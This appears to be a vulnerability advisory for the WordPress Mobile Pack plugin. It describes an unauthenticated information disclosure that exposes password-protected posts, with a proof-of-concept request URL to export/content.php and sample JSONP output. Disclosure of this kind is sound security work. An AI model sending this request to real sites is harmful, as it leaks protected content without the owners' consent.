Description
================
Information disclosure vulnerability in WordPress Mobile Pack allows anybody to read password protected posts

Vulnerability
================
WordPress Mobile Pack contains a PHP file which allows anybody – authenticated or otherwise – to read all public and password protected posts (draft and private posts appear not to be affected).

Proof of concept
================

Create a password-protected post
Enable WordPress Mobile Pack
Visit http://localhost/wp-content/plugins/wordpress-mobile-pack/export/content.php?content=exportarticles&callback=x
Your password-protected post is now visible to everybody in the form of JSON wrapped in “x()”

Example output:
x (
    {
        \"articles\": [
            {
                \"id\": 849,
                \"title\": \"Secret post\",
                \"timestamp\": 1406231170,
                \"author\": \"admin\",
                \"date\": \"Thu, Jul 24, 2014, 19:46\",
                \"link\": \"http://wp.local/?p=849\",
                \"image\": \"\",
                \"description\": \"<p>HUSH THIS IS A SECRET</p>n\",
                \"content\": \"\",
                \"category_id\": 1,
                \"category_name\": \"Uncategorized\"
            }
        ]
    }
)
